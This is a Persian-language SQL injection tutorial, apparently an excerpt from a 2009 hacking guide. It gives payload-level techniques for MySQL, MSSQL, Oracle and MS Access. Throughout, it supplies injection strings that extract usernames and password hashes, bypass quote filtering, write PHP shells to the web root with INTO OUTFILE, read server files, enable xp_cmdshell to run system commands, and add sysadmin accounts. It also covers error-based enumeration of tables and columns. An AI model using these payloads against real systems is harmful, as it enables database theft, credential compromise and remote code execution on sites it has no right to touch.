SELECT 1,2,concat(username,password),4 FROM T_Users 

 

  :group_concatتابع 

  .شود ميي يك جدول تك ستوني رشته اي ها سطر ميباعث اتصال تما  
 

SELECT group_concat(username SEPARATOR ‘:’) FROM T_Users 
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 از هم جدا ’:‘ي كاربري قرار دارند كه با كاراكتر كالن ها شناسه مي تماQueryاين ي  در نتيجه

  :باشد مي ’,‘تر پيشفرض جداكننده كاما  را حذف كنيم، كاراكSEPARATORاگر بخش . شده اند
‘Admin:ali:hamed:yousof’ 
‘Admin,ali,hamed,yousof’ 
 

  :unhex و hexتابع 

كاراكتري را به عنوان ورودي گرفته و فرم شانزده شانزدهي ي   يك رشتهhexتابع   

(Hexadecimal) تابع . دهد مي آن را به عنوان خروجيunhex در .دده مي كار عكس را انجام 

شود ولي مقاديري كه از پايگاه  ميصفحه نمايش داده بعضي مواقع مقادير صريح رشته اي در 

  :توان از اين توابع استفاده كرد ميدر اينجا . شود ميشود نمايش داده ن ميداده خوانده 

  
?id=-1 UNION SELECT 1,'A' FROM T_Users 
?id=-1 UNION SELECT 1,unhex(hex(username)) FROM T_Users 

  

  :charتابع 

گيرد، هر يك را به كاراكتر متناظر تبديل  مياين تابع چند كد اسكي را به عنوان ورودي   

ازاين تابع . گرداند ميكند، كاراكترها را به هم متصل كرده و آن را به عنوان خروجي باز  مي

براي مثال فرض كنيد . دستفاده كر اها Queryتوان براي استفاده نكردن از علامت نقل قول در  مي

كند و اگر ورودي داراي علامت نقل  ميبرنامه طوري نوشته شده است كه هر ورودي را بررسي 

  :كند مي به قبل آن اضافه \قول بود يك علامت 

  
?id=124 UNION SELECT 1,2 FROM T_Users WHERE username 
LIKE ‘%admin%’ 

 :فرم تبديل شده در طرف سرور

  
… WHERE id=124 UNION SELECT 1,2 FROM T_Users WHERE 
username LIKE \‘%admin%\’ 
 

 باعث ايجاد خطا در آن شده اند، در نتيجه عمليات Query در \شود علائم  ميهمانطوري كه ديده 

 از علائم نقل Queryشود براي حل اين مشكل نبايد در هيچ قسمت از  ميتزريق با شكست مواجه 
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 را به كد %admin%توان ابتدا كاراكترهاي  مي Queryاي نمونه در اين بر. قول استفاده كرد

ascii تبديل كرد و در تابع charقرار داد :  

  
… WHERE id=124 UNION SELECT 1,2 FROM T_Users WHERE 
username LIKE CHAR(37, 97, 100, 109, 105, 110, 37) 
 

  :||عملگر 

  :رود ميار  به كORانجام عمل اين عملگر به منظور   
2||2 � 1 
‘ab’||’ab’ � 1 
‘a’||’b’ � 0 

 :رود مي بيتي به كار AND نيز براي &عملگر 
6&2�2 
6&1�0 
 

  :into dumpfile و into outfileدستورات 

  :شود مياين دستورات به منظور پشتيبان گيري از پايگاه داده استفاده   
 
SELECT user_name,password FROM T_Users into outfile 
‘/home/siteHome/htdocs/index2.php’ 
 

 روي سرور phpي ها توان به منظور ايجاد فايل مي از اين دستوراتشود  ميهمانطوري كه ديده 

 روي shell از اين روش براي ايجاد .دانستن مسير سايت روي سرور بسيار مهم است. استفاده كرد

 را يكي يكي به آن اضافه shellي ها خطتوان يك جدول ساخت، سپس  مي .شود ميسايت استفاده 

  . پشتيبان گرفتphpكرد و در نهايت از آن در مسير سايت با پسوند 
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  :userتابع 

  .دهد ميكاربر جاري سيستم را نشان   

  

  :databaseتابع 
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  .دهد ميكند را نشان  ميپايگاه داده اي كه سايت مورد نظر از آن استفاده   

  

  :substrتابع 

  :گرداند ميداده شده را بر ي  ع زيررشته اي از رشتهاين تاب  
 

SELECT substr('abcd', 3, 2) � 'cd' 
 

طول زيررشته را نشان  ميمكان ابتداي زيررشته و سو ميمورد نظر، دوي  آرگومان اول رشته

بافري كه براي قرار گرفتن نتايج در نظر گرفته شده است كم در بسياري از مواقع . دهد مي

 كاراكتر تعريف شده است و ما 10دارد به مقدار  ميمثلا بافري كه يك نام را نگه . باشد مي

توان از اين  مي در اينجا ، كاراكتر است را در صفحه نمايش دهيم32رمزي كه ي  خواهيم كلمه مي

  :تابع استفاده كرد

  
SELECT 1,substr(password,0,10) FROM T_Users 
SELECT 1,substr(password,10,10) FROM T_Users 
… 

 

  : استload_fileي مهم اين تابع به هنگام استفاده از تابع ها يكي از كاربرد
 

SELECT substr(load_file('/home/site/index.php'),1000,500),2 
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  :castتابع 

  :باشد ميتابع تبديل نوع   
SELECT CAST('1' AS unsigned integer) 
SELECT CAST('123' AS char) 

  :if دستور

  :اعمال شرط و تغيير مشروط خروجي  
 

SELECT if(1=1 , 'foo' , 'bar') � 'foo' 

  :caseدستور 

  :حالت خاصي از دستورات شرطي  

  
SELECT CASE WHEN(1=1) THEN 'A' ELSE 'B' END � 'A' 
 

  :datadir و versionتوابع 

ي ها  پيدا كردن مكان فايل به منظورdatadir و DBMSي   براي ديدن نسخهversionتابع   

  :دو حالت براي استفاده از اين توابع وجود دارد. روند ميديتابيس به كار 
@@version / version() 
@@datadir / datadir() 
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  :MSSQLتزريق 
گسترش زيادي . باشد ميتجاري شركت مايكروسافت ي   نرم افزار پايگاه دادهDBMSاين   

عمولي مانند تزريق م. باشد مييق در اين سرور به دو صورت  تزر. داردWindowsدر سرورهاي 

 .قبل و تزريق بر مبناي خطا

ي برنامه نويسي خاص خود را در ها باشد كه زبان مياين نرم افزار متعلق به شركتي چون  

 هستند با aspx با پسوند ها صفحات آنيي كه ها  دارد معمولا سايتasp.net با نام net.ي  مجموعه

  .كنند ميم افزار به عنوان پايگاه داده كار اين نر

  :توان نام جدول را ذكر نكرد مي MySQL نيز همانند DBMSدر اين   
SELECT 1,2 

 

 تماي . وجود داردinformation_schema شماي MySQLنيز مانند  DBMSدر اين   

فرق  مي اينجا ك فقط ساختار كلي در.كند مي در اينجا نيز صدق شمامطالب گفته شده پيرامون اين 

  براي كل سيستم وجود داشت اما در اينجا تنهاinformation_schemaدر مورد قبل يك . دارد

  :براي هر ديتابيسي يكي وجود دارد
Master.information_schema.tables 
MySiteDB.information_schema.tables 
 

 .باشد مي master ها ين آنچند ديتابيس به صورت پيشفرض در سيستم وجود دارد يكي از مهمتر

 .باشند ميمهم است كه در تزريق بسيار  ميمهي  ي ذخيره شدهها ي روالاين ديتابيس دارا

 هستند كه كار خاصي را در سيستم پايگاه SQLي ذخيره شده مجموعه اي از دستورات ها روال

  .گردانند ميدهند و نتيجه را باز  ميداده انجام 

  : زير كمك گرفتQueryتوان از  مي ها تابيسبراي بدست آوردن ليست دي  
 

SELECT name FROM master.sysdatabases 
SELECT name FROM master..sysdatabases 
SELECT DB_NAME(N); -- for N=1,2,3,… 
 
 

يي كه در بخش قبل گفته شد ها  از روشتوان مي، ها ديتابيس ميپس از بدست آوردن ليست تما

  .ادكار تزريق را ادامه د
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  :توان استفاده نمود مي زير هم Query از ها براي بدست آوردن ليست جدول  

  
SELECT name FROM master..sysobjects where xtype='U' 
 

  : زير استفاده كردQueryتوان از  مي ها و همچنين براي بدست آوردن نام ستون

  
SELECT name FROM syscolumns WHERE id=(SELECT id FROM 
sysobjects WHERE name='myTable') 

  

  :شود مي استفاده (--)متوالي ي  براي كامنت كردن از دو علامت تيره
 
SELECT Title,Content FROM T_News WHERE year=’2001’ UNION SELECT 
1,2 FROM T_Users WHERE 1=1—‘ and enable=true order by id  
 

چون اين علامت توسط خود . استفاده كرد+  از علامت توان مي به يكديگر ها به منظور اتصال رشته

 به جاي آن استفاده 2B% آن يعني URLتوان از كد  مي گيرد ميپويشگرها مورد استفاده قرار 

  .كرد

 داراي هيچ علامت فضاي خالي نباشد، براي اين كار Queryدر بعضي مواقع نياز است كه   

البته اين علامت به منظور .  استفاده كرد/**/توان از علامت  مي MySQL و DBMSدر اين 

  :رود مي به كار Cافزودن كامنت در داخل دستورات در زبان 
?id=-1/**/ORDER/**/BY/**/10/*comment*/ 
 

 زير كمك Queryتوان از  ميبراي بدست آوردن شناسه و رمز عبور كاربران پايگاه داده   

  :باشد مي براي كاربران معمولي امكان پذير ن از جدول زيرpasswordگرفت كه البته دسترسي به 

  
SELECT name, password FROM master..sysxlogins 
SELECT name, password FROM master..syslogins 
 

  : استفاده كردTOP امين سطر از جواب بايد از دستور 8براي جدا كردن مثلا 

  
SELECT TOP 1 name FROM (SELECT TOP 8 name FROM 
master..syslogins ORDER BY name ASC) ORDER BY name DESC 
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توان دستور قبلي را     ميتوان چند دستور را از راه دور اجرا كرد يعني            مي DBMSدر اين     

توان اگر اجازه اين كار وجـود داشـته          ميه همين دليل    ب.  بست و دستور جديدي را اجرا كرد       ;با  

تـوان هماننـد     مي .كردرا اجرا    CREATE  و INSERT،DELETE،UPDATEباشد، دستورات   

MySQL         يك جدول با يك فيلد از نوع varchar(8000)           ساخت و محتويات يـك فايـل را در آن 

  ...:ريخت و

  
?id=1; CREATE TABLE mydata (line varchar(8000))— 
=1; BULK INSERT mydata FROM 'C:\inetpub\www\index.asp'— 
 

 .شـود  مي كپي   mydata در هر سطر از      index.asp خط از محتويات     پس از اجراي دستور دوم هر     

توانيم با اسـتفاده ازدسـتورات       ميسپس  . وب سرور را داشته باشيم    ي    در اينجا نيز بايد مسير ريشه     

UNION و SELECT محتويات mydataرا بخوانيم .  

  

  : در زير آمده استDBMSتوابع مهم در اين 

  :گيرد مي مورد استفاده قرار DBMSي  ن نسخهبراي بدست آورد: versionتابع 
SELECT @@version 
 

  :توابع بدست آوردن كاربر جاري
SELECT user_name() 
SELECT system_user() 
SELECT user 
SELECT loginame FROM master..sysprocesses WHERE 
spid==@@SPID 
 

  .باشد مي MSSQLكليدي در ي   يك كلمهuserبنابر دستور سوم 

  

  :دهد ميكند را بدست  ميديتابيس جاري را كه سيستم وب از آن استفاده : DB_NAMEتابع 
SELECT DB_NAME() 
 

  :substringتابع 

  :دهد ميزيررشته اي از يك رشته را بدست   
SELECT substring('abcd', 3, 1)�'c' 
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  .زيرشته اي كه از مكان سوم شروع شده و طولش يك كاراكتر است

  

ANDيا  بيتي &:  

  :رود ميبراي تركيب عطفي دو عدد يا رشته بكار   
SELECT 6&2 � 2 
SELECT 6&1 � 0 
 

  :charتابع 

  :رود ميبه منظور تبديل كد اصلي يك كاراكتر به كاراكتر مورد نظر بكار   

  
SELECT char(65) � 'A' 
SELECT char(65)+char(66) � 'AB' 
 

 به منظور استفاده نكردن از علامت كتيشن يـا نقـل             قبل ديديم  DBMSاين تابع همانند آنچه در      

  .رود مي بكار ها قول براي رشته

  

  :CASTتابع تغيير نوع يا 

  :تغيير نوع يك مقدار به نوع ديگر  
SELECT CAST('123' AS int) � 123 
SELECT CAST(1 AS char) 
 

  :IFدستور 

  :Queryدستور شرطي براي ايجاد شاخه در   

  
IF(1=1) SELECT 1 ELSE SELECT 2-- � 1 
 

  :CASEدستور 

  :دستوري به منظور گذاشتن شرط  
 
SELECT CASE WHEN (1=0) THEN 1 ELSE 2 END -- � 2 
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  :IP يا آدرس hostدستور بدست آوردن نام 
SELECT HOST_NAME() 
 

ه  ب ها   وجود ندارد، لذا براي چسباندن رشته      concat تابع   DBMSهمانطور كه قبلا گفته شد در اين        

  .شود مي استفاده +يكديگر از عملگر 

 وجود دارد كه در صورت      master يك سري توابع ذخيره شده در ديتابيس         DBMSدر اين   

  :دسترسي به آنها كارايي زيادي دارند

  

XP_CMDSHELL:  

  :كند ميرا در سيستم هدف اجرا   مياين تابع يك دستور سيست  
EXEC xp_cmdshell 'net user' 
 

 بـه بعـد   SQLServer 2005 در .رود ميراي اجرا كردن توابع ذخيره شده بكار  بEXECدستور 

  . كه در قسمت هاي بعد آمده استنياز است كه ابتدا اين تابع فعال شود
 

SP_ADDLOGIN:  

  :DBMSاضافه كردن يك كاربر جديد براي   
EXEC sp_addlogin 'user','pass' 
 

SP_DROPLOGIN:  

  :DBMSحذف يك كاربر   
EXEC sp_droplogin 'user' 
 

SP_SRVROLEMEMBER:  

  :DBMS به DBAافزودن يك   
EXEC master.dbo.sp_srvrolemember 'user', 'sysadmin' 
 

  :تواند موارد زير باشد ميباشد كه  مينقش كاربر  ميآرگومان اول شناسه و دو
•  sysadmin  

•  securityadmin  

•  serveradmin  

•  setupadmin  

•  processadmin  
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•  diskadmin  

•  dbcreator  

•  bulkadmin 

  
 

SP_CONFIGURE:  

اين تابع براي مديريت تنظيمات داخلي به كار مي رود، يكي از مهمترين موارد استفاده ي                  

. ، در صورت غير فعـال بـودن اسـت         )XP_CMDSHELLمخصوصا  (آن فعال كردن توابع بالا      

يشرفته قرار دارند و براي فعال سازي آنهـا بايـد بـه              در قسمت پ   DBMSبعضي از توابع در اين      

 XP_CMDSHELLي فعال سـازي       در زير طريقه  . بخش تنظيمات پيشرفته دسترسي داشته باشيم     

  :آمده است

  
EXEC sp_configure 'show advanced options',1; 
RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell',1; 
RECONFIGURE; 

  : يك محل تزريق مي توان دستورات بالا را پشت سر هم نوشتدر حالت كلي در

  
… id=1; EXEC SP_Configure 'show advanced options', 1; Reconfigure; EXEC 
SP_Configure 'xp_cmdshell', 1; Reconfigure; -- 
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اي بـر . باشد ميايجاد خطا در صورت عدم تطابق       ي    نحوه DBMSي جالب اين    ها  يكي از ويژگي  

  : زير و پيام خطا دقت كنيدQuery  بهمثال

  
?id=4) OR 1=(SELECT TOP 1 'a') – 
 

 در آن قرار دارد بايد حتما يك نتيجه برگردانـد، در صـورتي كـه تعـداد         SELECTعبارتي كه   

توان با يـك مقايـسه كـرد و          ميي برگردانده شده بيش از يك باشد، نتيجه را ن         ها   يا ستون  ها  سطر

 TOPبه همين دليل از . دهد ميشود رخ  مي عنوان كه نتيجه چند ركورد را شامل خطايي با همين

شود يك عبارت رشـته اي   مي برگشت داده SELECT نتيجه اي كه از عبارت      . استفاده شده است   1
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'a'    است كه DBMS انجام دهد پس پيام خطاي مناسبي را        1آن را با عدد     ي    تواند عمل مقايسه   مي ن 

ذكـر شـده    ه اي كه در اينجا مهم است اين است كه در پيام خطا مقدار رشته اي                 نكت. كند ميچاپ  

  :توان اطلاعات مهم تري را بدست آورد ميي بعد  در مرحله. 'a'است در اينجا 

  
?id=4) OR 1=(SELECT TOP 1 table_name FROM information_schema.tables)— 
 

 

تـوان مراحـل     مـي يام خطا چاپ شده است كه       همانطور كه در شكل پيداست نام يك جدول در پ         

 NOT INتـوان از   مي براي بدست آوردن نام عنصر بعدي .بعدي را نيز به همين منوال ادامه داد

  :استفاده كرد
?id=4) OR 1=(SELECT TOP 1 table_name FROM 
information_schema.tables WHERE table_name NOT IN 
('sysmasters','table1','table2',…))-- 
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  :توان استفاده كرد ميالبته از روش راحت تري نيز 
 
?id=4) OR 1=(SELECT TOP 1 table_name FROM information_schema.tables 
WHERE table_name NOT IN (SELECT TOP N table_name FROM 
information_schema.tables ORDER BY 1 ASC) ORDER BY 1 ASC)-- 
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  .تمام عناصر را بدست آوردتوان  مي N به جاي …,0,1,2,3,4دادن مقادير با قرار 
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  :Oracleتزريق در 
 DBMS طراحي شده است معمولا از ايـن  jsp كه براي زبان Apache tomcatوب سرور   

  البته در  .كنند مي استفاده   DBMS هستند نيز از اين      cfmيي كه با پسوند     ها  صفحه. كند مياستفاده  

 DBMS نوشته شـده انـد از ايـن         php و يا    asp  ،aspxي  ها  يي كه با زبان   ها  موارد فراواني سايت  

  .استفاده كرده اند

البتـه جـدول    .  حتما نام يك جدول ذكر شود      SELECT بايد در دستور     DBMSدر اين     

dualتوان براي اين منظور استفاده كرد مي وجود دارد و از آن ها  در تمام آن:  

  
SELECT 1,2,3,4 FROM dual; 
 

  :ي زير استفاده كردها Queryتوان از  مي ها  براي بدست آوردن ليست جدول

  
SELECT table_name FROM all_tables; 
SELECT owner,table_name FROM all_tables; 
SELECT table_name from user_tables; 
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  : استفاده كردها Queryتوان از اين  مي ها براي بدست آوردن ليست ستون

  
SELECT column_name FROM all_tab_columns WHERE table_name 
= 'mytable' AND owner='myowner'; 
 

 
 

  :ها و ليست ديتابيس

  
SELECT DISTINCT owner FROM all_tables; 
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  :شود مي زير استفاده Query از DBMSبه منظور بدست آوردن ليست كاربران 

  
SELECT username FROM all_users ORDER BY username; 
SELECT name FROM sys.user$; 
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  :ليست كلمات عبور
SELECT name,password,astatus FROM sys.user$; 
SELECT name,spare4 FROM sys.user$; 
 

  :ها DBAليست 
SELECT DISTINCT grantee FROM dba_sys_privs WHERE 
ADMIN_OPTION='YES'; 
 

 به منظور كامنت نويسي بـه       /**/علامت  . استفاده كرد  --توان از    مياي كامنت كردن عبارات     بر

  :رود ميكار 
SELECT/*haha*/1 FROM dual -- and 1=0 
 

  :بعضي از توابع، دستورات و عملگرهاي مهم در زير توضيح داده شده است

  
SELECT version FROM v$instance; 
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SELECT version FROM myOwnTable; -- this is not a default table 
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; 
SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; 
 

  :كاربر جاري
SELECT user FROM dual; 
SELECT user FROM myOwnTable; -- this is not a default table 
 

  :يس جاريديتاب
SELECT global_name FROM global_name; 
SELECT name FROM v$database; 
SELECT instance_name FROM v$instance 
 

  :انتخاب يك سطر مشخص
 
SELECT username FROM (SELECT ROWNUM r, username FROM all_users 
ORDER BY username) WHERE r=9; 
 

  :substrتابع 

  :گيرد ميه در يك رشته كه در پارامتر اول قرار انتخاب زير رشت  
 
SELECT substr('abcd', 2, 3) FROM dual�'bcd' 

  . كاراكتر3از مكان دوم به طول 

  

  :تركيب عطفي
SELECT bitand(6,2) FROM dual � 2 
SELECT bitand(6,1) FROM dual � 0 
 

  :chrتابع 

  : به كاراكترasciiتبديل كد 
SELECT chr(65) FROM dual � 'A' 
 

  :شود مياز اين تابع براي استفاده نكردن از علامت كتيشن استفاده 

  
SELECT chr(65) || chr(66) FROM dual � 'AB' 
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  .شود مي براي چسباندن دو رشته يا كاراكتر به يكديگر استفاده ||از عملگر 

  

  :CASTدستور 
SELECT CAST(1 AS char) FROM dual; 
SELECT CAST('1' AS int) FROM dual; 
 

  :||عملگر 
SELECT 'a'||'b'||'c' FROM dual; � 'abc' 
 

  :CASEدستور 

  
SELECT CASE WHEN 0=1 THEN 1 ELSE 2 FROM dual; � 2 
 

  :hostنام 

  
SELECT host_name FROM v$instance; 
SELECT UTL_INADDR.get_host_name FROM dual; 
SELECT UTL_INADDR.get_host_address FROM dual; 
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; 
 

 :ي ديتابيسها مكان فايل

SELECT name FROM v$DATAFILE; 
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  :MSAccessتزريق در 
ايـن  . كننـد  مي استفاده DBMS نوشته شده اند از اين aspيي كه به زبان    ها  معمولا سايت   

DBMS     را در اختيار     مي بسيار ك   بسيار محدود بوده و امكاناتDBA ولـي در عـوض     . گذارد مي

 براي بدسـت آوردن    . را محدود كرده است    ها  تنظيمات پيش فرض فراواني دارد و بيشتر دسترسي       

وجود دارد كه تقريبـا      مي چند جدول سيست   ها   و فيلد  ها  از جمله نام جدول   اطلاعات ضروري سرور    

 ، MSysAccessXML هـا  آني    از جملـه  .  وجـود نـدارد    هـا   هميشه اجازه دسترسـي بـه آن      

MSysACEs و MSysObjects.  

  
MSysAccessXML: 

• Id 

• LValue 

• ObjectGuid 

• ObjectName 

• Property 

• Value 

 
MSysACEs: 

• ACM 

• FInheritable 

• ObjectId 

• SID 

 
MSysObjects: 

• Connect 

• Database 

• DataCreate 

• DataUpdate 

• Flags 

• ForeignName 

• Id 

• Lv 

• LxExtra 
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• LvModule 

• LvProp 

• Name 

• Owner 

• ParentId 

• RmtInfoLong 

• RmtInfoShort 

• Type 

 

تواند نقش عملگر كامنـت   مي 00%در بعضي موارد . كامنت كردن وجود نداردهيچ عملگري براي   

 و ديدن مـسير فعلـي وجـود دارد          (SHELL) ميتوابعي براي اجراي دستور سيست     .را بازي كند  

(CurDir)ه استفاده از آن وجود ندارد كه بطور پيش فرض اجاز وجود دارد.  

 بايد از يك نام جدول درست استفاده شود لـذا در اكثـر              SELECTدر هنگام استفاده از       

   . استفاده شودها  و يا فيلدها مواقع بايد از سعي و خطا براي پيدا كردن نام جدول

استفاده  با   .توان ريكورد مورد نظر را انتخاب كرد       مي SQLServer همانند   TOPبا دستور     

 البته بايد قبل از اسـتفاده آنهـا را   .توان دو رشته را به يكديگر متصل نمود   مي & و   +از دو عملگر    

  : كنيدURLكد 

  
SELECT 'A' %2b 'B' FROM validtable � 'AB' 
SELECT 'A' %26 'B' FROM validtable � 'AB' 
 

  :شود مي استفاده MIDبراي بدست آوردن زيررشته از تابع 

  
SELECT MID('abcd',2,2) FROM validtable � 'bc' 
 

  :شود مي براي طول رشته استفاده LENتابع 
 
SELECT LEN('abcd') FROM validtable � 4 
 

  .شود مي استفاده CHR به كاراكتر از asciiبراي تبديل كد 

  :باشد مي IFFدستور شرط 
SELECT IFF(1=1, 'a', 'b') FROM validtable � 'a' 
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 user قرار داد مثلا اگر نام جـدول         [] را در علامت     ها  توان نام جداول و ستون     مي DBMSدر اين   

  :شود مي متمايز شود به صورت زير نوشته userكليدي ي  بود براي اينكه از كلمه
SELECT [username],2 FROM [user] 
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يـك راه كلـي بـراي    . باشـد حدس زدن ستون ها در بسياري از مواقع كار دشواري مي  

. مواردي كه نام تمام ستون ها قابل حدس زدن نيست و البته شرايط آن برقرار هست وجـود دارد                 

  :اين سناريو را در نظر بگيريد كه ما خواهان دسترسي به جدول با شماي زير هستيم
TBL_Admin(id, adm_name, adm_pass) 
 

 . شده ايم idالبته فقط موفق به حدس زدن نام جدول و 
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  : در محل تزريق به صورت زير مي باشدQueryساختار 
SELECT id, n_title, n_brif, n_author FROM TBL_NEWS WHERE id=12 UNION 

SELECT 1,2,3,4 FROM TBL_Admin 
  

  : را به صورت زير تغيير مي دهيمQueryحال به منظور عبور از اين مشكل، 

  
... id=12 UNION SELECT 1,TBL_Admin.* FROM TBL_Admin 
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براي بدسـت آوردن    .  مي شود  UNION ستون جدول باعث برابري دو قسمت        3 به همراه    1عدد  

  . استفاده كردWHERE در شرط idركورد بعدي مي توان از 
 

 
 

 
 



Black.Shadowes | copyright  2009 Page 60 

 
 

اين روش داراي مشكلاتي است، از جمله اينكه نمي دانيم ستون مطلوب در كجـا قابـل مـشاهده           

 قرار مـي    adm_name  محتويات  قرار مي گرفت اكنون    3 اول عدد    Queryلا جايي كه در     مث. است

البته با كمي بررسي ستون ها و فرمت محتويات آن ها مي            . گيرد كه قابل ما از آن اطلاعي نداريم       

 كاربرد زيادتري دارد ولي بـراي       DBMS اين روش در اين      .توان به اطلاعات مطلوب دست يافت     

  .قابل به كارگيري است ها DBMSتمام 

  

 وجود دارد راههايي براي بدسـت       DBMSبه هر حال با تمام محدوديت هايي كه در اين             

  .آوردن اطلاعات بيشتر از سرور وجود دارد كه در زير شرح داده شده است

  

  :ACCESS بدست آوردن نسخه ي -

پي بـرد، در     ACCESSاز روي وجود يا عدم وجود بعضي از توابع مي توان به نسخه ي                 

  :جدول زير به بعضي از آنها اشاره شده است

 به صورت معمول خالي است بنابراين نمي توان از آن در عمليات             MSYSACCESSXML: توجه

Unionاستفاده كرد .  
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  :در صورت عدم وجود جدول در هنگام استفاده از آن در تزريق پيام خطاي زير مشاهده مي شود
Microsoft JET Database Engine (0x80040E37) 
The Microsoft Jet database engine cannot find the input table or query 
'<TableName>'. Make sure it exists and that its name is spelled correctly. 

  

  : بدست آوردن موتور پايگاه داده-

يريتي روي داده هـا     اين پايگاه داده از يك موتور اصلي براي انجام تمام كارهـاي مـد               

از روي پيام خطا به وضوح مي       .  باشد ACE و يا    JETاستفاده مي كند كه مي تواند يكي از دو نوع           

  :توان به نوع موتور پي برد

  
JET 
Microsoft JET Database Engine 
OR 

[Microsoft][Driver ODBC Microsoft Access] 
 
ACE 
Microsoft Office Access Database Engine 

  

  :(Connection Strings) رشته هاي اتصال به پايگاه داده -

  
OLEDB  
Provider=Microsoft.Jet.OLEDB.3.51;Data Source=<path to database> 

Provider=Microsoft.Jet.OLEDB.4.0;Data Source=<path to database> 

Provider=Microsoft.ACE.OLEDB.12.0;Data Source=<path to database>  

ODBC  
Driver={Microsoft Access Driver (*.mdb)};Dbq=<path to database> 

  

- SANDBOX:  

كليد هاي رجيستري زير بعد از نصب       .  مي شود  VBA مانع استفاده از توابع      SandBoxمدِ    

  :سرويس پك مربوطه ساخته مي شوند

  
Service Pack 3 for MS Jet 3.51 
\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\3.5\engines\SandboxMode 

 

Service Pack 3 for MS Jet 4.0 
\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode 
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ACE 2007 
\\HKEY_LOCAL_MACHINE\Software\Microsoft\Office\12.0\Access Connectivity 

Engine\Engines\SandboxMode 

 

 

  :تنظيمات اين كليد ها به صورت زير است
 

  مقدار  توضيحات

  0  . هميشه غيرفعال استSandBoxمدِ 

  1  . فعال است و براي غير آن غيرفعالAccess براي خود SandBoxمدِ 

  )پيشفرض(2  . غيرفعال است و براي غير آن فعالAccess براي خود SandBoxمدِ 

  3  . هميشه فعال استSandBoxمدِ 

  . نهاده است3 مقدار پيشفرض را ACE 2007: توجه

  

 هـا  Web Application مي باشد كه نشان مي دهد 2همانطور كه ديده مي شود مقدار پيشفرض 

ن  را ندارند و بنابراي    Access هستند حق استفاده از توابع ويژه ي         Accessكه جزو برنامه هاي غير      

 اما در صورت دسترسي به رجيستري از طريقـي          .در تزريق با مشكلات فراواني روبرو خواهيم شد       

  .ديگر مي توان مقدار موجود را تغيير داد

  

  :(Safe functions) توابع امن -

  : آمده استAccessدر زير ليستي از توابع   
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Msjtes40.dll (Windows 2003 MSJet40.dll 4.0.9505.0) 

 

  . نيستندSQLكه علامت گذاري شده اند امن هستند ولي قابل فراخواني در توابعي 

  

  :SandBox نبودن يا  محاسبه فعال بودن-

فراخواني يك تابع كه در ليست امن نباشد باعث مي شود كـه در صـورت فعـال بـودن                      

SandBoxاز آن جلوگيري به عمل آيد :  

  
… username='a' UNION SELECT curdir() FROM <DefaultSystemTable> 
WHERE '1'='1' and password='a' 
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  :SandBoxپيام خطا از طرف 
Microsoft JET Database Engine (0x80040E14) 
Undefined function 'curdir' in expression. 

  

  :بدست آوردن نام چند ستون -

 در SELECTاين روش زماني كاربرد دارد كه ستون هاي انتخاب شده در جلوي عبـارت                

SQL ،قرار نداشته باشد يعني به صورت زير نباشد*  نوشته شده در كد:  

  
SELECT * FROM … 
 

  :مي توان از روشي مشابه آنچه در قسمت هاي قبلي توضيح داده شد استفاده كرد

  
SELECT id, email FROM users WHERE username ='1' GROUP BY 1 
HAVING '1'='1' and password=''     

  :يام خطاپ
 
Microsoft JET Database Engine (0x80040E21) 
You tried to execute a query that does not include the specified expression 'id' 
as part of an aggregate function. 

  

  : اضافه مي كنيمGroup Byدر قسمت بعد نام ستون بدست آمده را به 

  
SELECT id, email FROM users WHERE username ='1' GROUP BY 
1,id HAVING '1'='1' and password='' 

  :پيام خطا
Microsoft JET Database Engine (0x80040E21) 
You tried to execute a query that does not include the specified expression 
'email' as part of an aggregate function. 

  

  :لمانند مرحله ي قب
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SELECT id, email FROM users WHERE username ='1' GROUP BY 
1,id,email HAVING '1'='1' and password='' 

  

  :پيام خطا
Microsoft JET Database Engine (0x80040E21) 
You tried to execute a query that does not include the specified expression 
''1'='1' and password=''' as part of an aggregate function. 

  

  :قرار داشته باشد پيام خطايي مشابه پايين مشاهده خواهد شد*  اول SELECTاگر در قسمت 
Microsoft JET Database Engine (0x80040E21) 
Cannot group on fields selected with '*'. 

  

  :در چنين شرايطي مي توان نام يك ستون را بدست آورد

  
SELECT * FROM users WHERE username ='1' HAVING 
sum('1')='1' and password='' 

  :پيام خطا
Microsoft JET Database Engine (0x80040E21) 
You tried to execute a query that does not include the specified expression 
'ID' as part of an aggregate function. 

  

  .ين يك ستون مي تواند در حدس زدن فرمت ستون ها و حتي جدول ها كمك كندبدست آوردن ا

  :مي توان ستون هاي بعدي را با سعي و خطا به صورت زير بدست آورد

  
SELECT * FROM users WHERE username ='1' AND <ColumnName> = '1' and 

password='' 
  

  : شوددر صورت اشتباه بودن نام ستون پيام زير مشاهده مي
 

Microsoft JET Database Engine (0x80040E10) 
No value given for one or more required parameters. 

  

  : بدست آوردن نوع ستون ها-
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در اين صورت بايد قـبلا      .  كه نتايج در آن ديده شود      دارداين كار نياز به مكاني در صفحه          

 نام يك ستون را گرفتـه و يـك رشـته            TypeName تابع   .نام يك جدول بدست آورده شده باشد      

  :محتواي نوع آن ستون را بر مي گرداند

  
SELECT * FROM users WHERE username ='1' UNION SELECT 
TypeName(<ColumnName>),NULL FROM <TableName> 
WHERE '1'='1' OR '1'='1' and password='' 

  

  : دسترسي به ديتابيس هاي خارجي-

ليتي را تهيه ديده است كه مي توان اطلاعات را از خارج از ديتابيس كنوني                قاب JETموتور    

  : انجام دادFROM در قسمت INاين كار را مي توان توسط عبارت . بازيابي كرد

  
SELECT id FROM users WHERE username ='1' UNION SELECT id 
FROM <table> IN '<path to database>' WHERE '1'='1' and 

password='' 
  

 SMB هاي به اشتراك گذاشته شده از طريـق  پايگاه دادهشبكه اين اجازه را بدهد، در صورتي كه   

  .قابل دسترس مي باشند WEBDAVو 
. ISAM Connections: 

شان به يكي از طرق زير مورد دسترسي قـرار             مي توانند با ذكر نوع     Accessپايگاه داده هاي غير     

  :گيرند
... FROM Table IN "" [<Type>; DATABASE=<Path To Database>;]; 
... FROM Table IN "<Path To Database>" "Type" 
... FROM [<Type>;DATABASE=<Path To Database>].[<Table>] 

   

  :مقادير موجود براي نوع پايگاه داده ها در كليد هاي رجيستري زير ليست شده است

  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Jet\4.0\ISAM Formats 
 
OR 
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\12.0\Access 
